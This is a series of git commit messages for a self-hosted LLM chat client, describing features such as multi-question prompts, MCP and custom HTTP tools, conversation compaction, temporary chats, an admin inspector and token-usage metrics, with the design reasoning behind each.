<noreply@anthropic.com> |
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Jaroslav Beneš
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671e49cae8 |
Ask several questions on one card
One `ask_user` call can now carry several questions, and they come back in a single submit. Asking one at a time cost a round trip and an interruption each, and by the third you had forgotten the first. Each question becomes an item with its own key; several items share a call index, because they belong to one call and one tool turn has to answer them all. Each answer is quoted beside the question it belongs to -- with four on a card, a bare list would leave the model matching them up by position and sometimes getting it wrong. Options are radios rather than submit buttons, so picking one does not send the form while two other questions are still blank. What you type beats what you picked: someone who writes in the box after clicking an option meant the writing. `_questions_in` also reads the shapes a small model actually sends -- a bare `question` string, a list of plain strings, one object where a list belonged. Getting that wrong costs a whole round trip and shows a card saying nothing. Two test fixes, both mine. `test_posting_a_message_stores_both_turns` raced the background generation it started: against a connection that refuses instantly the reply sometimes won, writing the error and marking the row complete before the assertions could read it. And the generation registry is module-global, so a test that started a reply left an entry -- and a Task belonging to a closed event loop -- for the rest of the session. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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b39e4eac88 |
A reply can stop and ask you something
Three features turn out to be one mechanism: a command waiting to be approved, a question the model wants answered, and "this reply is waiting for you" are all — stop the generation, put an interactive block in the bubble, wait for a POST, carry on. So there is one primitive, and the only thing using it so far is `ask_user`: a model can offer you a few answers and a box to write your own. The shell executor is not here yet. This lands first on purpose, because it is the riskiest machinery in the feature and it is worth having working before any subprocess exists to complicate it. Two things about where the pause sits. It pauses a round, not a call: a round's calls run together under a semaphore, and parking four coroutines on four separate answers inside that gather would queue them behind each other invisibly. And Stop had to be taught about it — `cancel` is read between streamed chunks and there are no chunks while paused, so the button did nothing at all until `request_stop` learned to resolve the pause itself. Also here: a risk class on every tool (read, write, execute), which is what the four permission modes will be a table over, and the systemd unit loses ProtectKernelTunables. That last one is not tidying — it bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at all, and the obvious workaround would expose this process's environment and with it the encryption key. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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ecb52e9978 |
MCP servers, over streamable HTTP
A server is a row with a URL; its tools are discovered by a button and cached, then offered beside the built-in ones. Written by hand rather than taken from the reference SDK, because that SDK's transport does its own connecting -- and the one thing that must not be bypassed is check_url on every hop. Owning the transport is the point; the framing beside it is the small part. Sessions are per call: initialize, initialized, the call, a best-effort DELETE. Caching one wants an owner, a TTL, eviction, a lock and a shutdown hook, and the server may expire it under all of that anyway -- ToolContext is a session-free snapshot precisely so nothing in a tool holds live state. A server's names and descriptions reach the model as instructions and are bounded before they do; what it returns is escaped preformatted text, never markdown. Tools are namespaced per server, so two servers exposing "search" do not collide and neither shadows a built-in. Also: a round's calls now run together under a semaphore, results indexed so each tool turn stays paired with its call, and generation.status names what is running -- a remote tool is latency-bound, and a silent pause is what a hang looks like. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Custom HTTP tools an administrator defines
A row in custom_tools becomes a ToolDef like any built-in, offered beside the thirteen. The registry had to stop being an import-time constant for that: `resolve_tools` now returns the schemas *and* the runners together, carried to the loop on the ToolContext. That closes a hole on the way. `run_tool` looked names up in the global REGISTRY with no reference to what had been offered, so a model naming a tool its chat was gated out of -- a family switched off, a permission the reader lacks -- had it run anyway. The resolved set is now authoritative. Arguments come from a model, so an argument may fill a hole but never move the target: the scheme and host of a URL template are literal, values are escaped for where they land, and the origin is pinned afterwards. Every redirect hop is checked the way services/fetch.py checks one, and the secret is dropped if a hop leaves the origin it was issued for. Also fixes the tool-activity block claiming every library tool had "searched the web", which it has done since the second family landed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A suggestion card sends its prompt
Filling the composer and waiting for Enter made the card a form to review rather than a thing to press. One click, one reply. That changes what a prompt has to be. The built-ins ended mid-sentence -- "My plan: " -- because nothing was sent until the person finished the thought; sent cold they are a model guessing at material nobody gave it. All three are rewritten to ask for what they need, so the first reply is the right question instead. There is a test that they end as complete sentences, since the failure is silent and only visible in the answer. requestSubmit, not submit: it fires the submit event, which is what htmx listens for. Same call the Enter key already makes. Version bumped because app.js is what changed, and the service worker caches it -- without the bump the first load after this would still only fill the box. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the earlier turns and sends the summary in their place. The messages are kept. They stay in the transcript behind a collapsed divider and simply stop being part of the request, which is what makes the button safe to press and automatic compaction safe to have at all: a summary that came out badly is a bad turn, not a lost conversation. Stored on the Chat, not as a synthetic Message. A synthetic row needs a role -- `system` breaks the one-system-message rule the moment build_messages emits it beside the harness, and user/assistant makes it a turn people can edit, regenerate from and copy, indistinguishable from a real one in all four places a bubble is rendered. Worse, "editing rewinds, it does not branch" would silently delete it and leave no marker that compaction had happened at all. The summary goes out as a user turn and an assistant turn, not one. A leading assistant breaks templates requiring the first non-system message to be user; a lone leading user produces user, user whenever the kept history starts on a user turn -- which it always does, because the cutoff lands on a finished reply. compacted_through_id is a plain id rather than a foreign key: migrations.py compiles only the column type, so a REFERENCES clause would exist on a fresh database and not on an upgraded one, and a constraint half the fleet has is worse than none. cutoff_message validates it on every read instead, and a rewind past the boundary clears it. Compacting again summarises only the delta, with the previous summary supplied to be subsumed. Re-summarising the whole chat each time grows quadratically and eventually exceeds the window it is protecting. Automatically at the top of _run, not in post_message: that route's contract is to return immediately and leave the slow part to a resumable connection, and it also means build_request is called once, after compaction, with no second assembly path. The trigger is the last reply's recorded usage plus an estimate of the new turn -- retrospective because true prompt_tokens are only knowable after a response, plus the delta because otherwise fifty thousand characters pasted into the composer overflow a window that read 90% last turn. It never fires when the context length is unknown. It does fire on estimated counts, which is safe here precisely because nothing is lost. _maybe_compact never raises: a failure logs and sends the uncompacted request. A `status` event says "Summarising earlier messages…" in the meantime, because a silent multi-second pause before the first token is what a hang looks like. The wording is three fragments under Admin - Prompts. Clearing task.compact turns compaction off entirely. Also adds compaction.moment(): SQLite does not store the offset, so a row loaded from disk is naive while one in the session's identity map keeps its tzinfo, and comparing the two raises. Every comparison here is between exactly those. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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An admin inspector on the right of the chat
A third child of .shell, opening and closing like the sidebar opposite it, showing the system message that would go out, the tools offered, what the last reply cost, and the whole request body as JSON. Rebuilt, not recorded. Recording every request would store a copy of the growing conversation against every message -- quadratic in chat length -- and the thing an administrator debugging a bad answer actually wants is what the current configuration produces. The panel says exactly that at the top, so nobody mistakes it for forensics. Owner-checked and admin-checked, not admin alone. permissions.resolve giving an admin everything is about configuration, which they can grant themselves anyway; reading someone's conversation is a different act, and it is why sharing.visible_to has no admin branch. An inspector that could dump any user's transcript would be that branch under another name. No new JavaScript. app.js already delegates [data-toggle], and hx-trigger="intersect once" makes the load lazy for free: a hidden element never intersects, so the request fires the first time it is opened and never on a page load nobody looked at. Image data URIs are replaced before dumping -- fidelity is the point, but not several megabytes of base64 in the DOM. Everything renders through normal escaping and never |safe: this JSON is full of model output, search results and uploaded documents. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Prompt suggestions on the new-chat screen
A blank composer is the least helpful thing a chat client can show someone who has just installed one. Three cards now sit under the empty state, and an administrator manages them at /admin/suggestions. Clicking a card fills the composer and stops there. It deliberately does not send: every default ends mid-sentence, because a card is a starting point rather than a question somebody already asked, and the caret lands where the person has to start typing. Seeding is guarded by a settings flag, not by "is the table empty" -- otherwise an administrator who decided against them would get all three back on every restart. Capped at twelve, six shown: past a dozen this is a menu, and a menu on the empty screen is a worse blank page than a blank page. The cards are gated on there being no chat at all, not on the thread being empty. An empty chat someone opened on purpose already has a model and a prompt chosen. Also fixes a pre-existing bug the position test caught. Both this and _refresh_models wrote `coalesce(max(position), -1) or -1`, and position 0 is falsy -- so the second row landed back on 0 on top of the first. The coalesce was already doing that job; the `or` was undoing it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Temporary chats
A clock in the top-right starts one. It is never listed in the sidebar and is swept a day after the last thing said in it. A real row rather than something held in the browser, because a reload, a crash or a background tab all look identical from here -- "delete when you navigate away" would lose conversations people meant to keep. The flag rides in the URL (/chat?temporary=1) rather than in JavaScript, so it survives a reload and can be bookmarked, and the composer carries it as a hidden field beside model_id. Keep clears the flag. Without a way out, a conversation that turns out to matter is destroyed a day later with no recourse, and people would find that out exactly once. archived was filtered in three places and temporary mirrors all three, plus Folder.visible_chats. It also skips the unread flag in _persist: there is no sidebar row for the dot to land on, and the toast would name a chat nobody can navigate to. The sweep measures age from the newest message, not from the chat row. created_at would destroy a conversation still in use at hour 23, and updated_at does not move when a message is inserted -- onupdate fires on an UPDATE of the chat, and adding a message is not one. It runs at startup beside the existing upload sweep. Deleting a chat cascades its rows but leaves the files on disk; only the orphan sweep unlinks anything, and it looks only at uploads that were never attached. files.remove_files_for_chats() closes that for the new sweep. The same hole in delete_chat is pre-existing and left for its own change, which can now call the same helper. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Show what a reply cost, live and afterwards
Tokens, how full the context is, and tokens per second -- as chips under each assistant bubble, updating while the reply streams and still there when it finishes. The numbers come from one Metrics object built either from the generation still being written or from the row it left behind. That is the point rather than tidiness: the finished bubble is re-rendered from the database the instant the stream ends, so two code paths would make the figures visibly jump at exactly the moment someone is watching them. Here the only thing that changes is that an estimate may become exact. Message.usage_json has existed and been dead since the schema was written. It is the store. Two counts that look like one. prompt and completion are summed across tool rounds -- what the reply cost. context_tokens is overwritten each round with that round's prompt plus completion -- what the window actually holds. A three-round reply pays for its prompt three times and only ever occupies the window once, so a single number would be wrong for one of the two questions. Generation gains started_at as a field rather than a local in _run, because _follow is a different function that sees only the Generation and otherwise has nothing to compute a live speed against. It also carries a prompt estimate taken before the first chunk, since real usage arrives in one chunk at the very end and a percentage that appears only after the reply is useless. Everything is marked with a tilde when the endpoint reported nothing, and the percentage is simply absent when no context length is set: unknown has to stay tellable from small, and a percentage of an unknown total is a made-up number in a place people trust numbers. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Ask the endpoint what a streamed reply cost
A streamed completion carries no token counts unless you ask for them, and
`stream_options: {include_usage: true}` is how. Not every server implements
it, and an unknown key is a 400 from some -- the same hazard as sending a
tools array to an endpoint without support. So it is asked for once per base
URL per process, and an endpoint that refuses is remembered and retried
without it. The retry is safe because the status is checked before a single
line is read: nothing has been yielded, so there is nothing to duplicate.
chunk_usage() reads the resulting chunk. It needed no change to the loop
above it: a usage chunk carries `choices: []`, which is exactly the shape
delta_text, delta_reasoning, delta_tool_calls and finish_reason have always
returned early on. All-zero counts are treated as absent, because some
servers attach zeros to every chunk and the real numbers only at the end.
services/tokens.py is the fallback for endpoints that never report: four
characters to a token, counting the tools array because thirteen schemas is
a meaningful slice of a short window, and counting nothing for an image
because its cost depends on tiling and an invented number would be worse
than the omission. Crude on purpose -- a real tokeniser means one per model
family, for a figure that is displayed beside a tilde.
Nothing uses any of this yet.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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